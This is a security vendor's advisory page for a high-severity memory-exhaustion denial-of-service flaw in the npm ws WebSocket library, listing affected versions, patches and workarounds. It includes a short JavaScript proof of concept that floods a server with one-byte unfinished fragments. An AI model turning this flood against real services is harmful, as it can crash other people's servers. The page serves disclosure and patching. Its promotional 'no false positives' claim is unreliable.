GHSA-96hv-2xvq-fx4p is a high-severity (CVSS 7.5) vulnerability in ws. O3 Security confirms whether GHSA-96hv-2xvq-fx4p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
ws: Memory exhaustion DoS from tiny fragments and data chunks
Real-World Exposure
ws📦ws📦ws📦wsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to [email protected] (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), [email protected] (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and [email protected] (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | ws | ≥ 1.1.0&&< 5.2.5 | 5.2.5 |
| 📦npm | ws | ≥ 6.0.0&&< 6.2.4 | 6.2.4 |
| 📦npm | ws | ≥ 7.0.0&&< 7.5.11 | 7.5.11 |
| 📦npm | ws | ≥ 8.0.0&&< 8.21.0 | 8.21.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ws. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ws to 5.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-96hv-2xvq-fx4p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-96hv-2xvq-fx4p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-96hv-2xvq-fx4p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-96hv-2xvq-fx4p in your dependencies?
O3 detects GHSA-96hv-2xvq-fx4p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.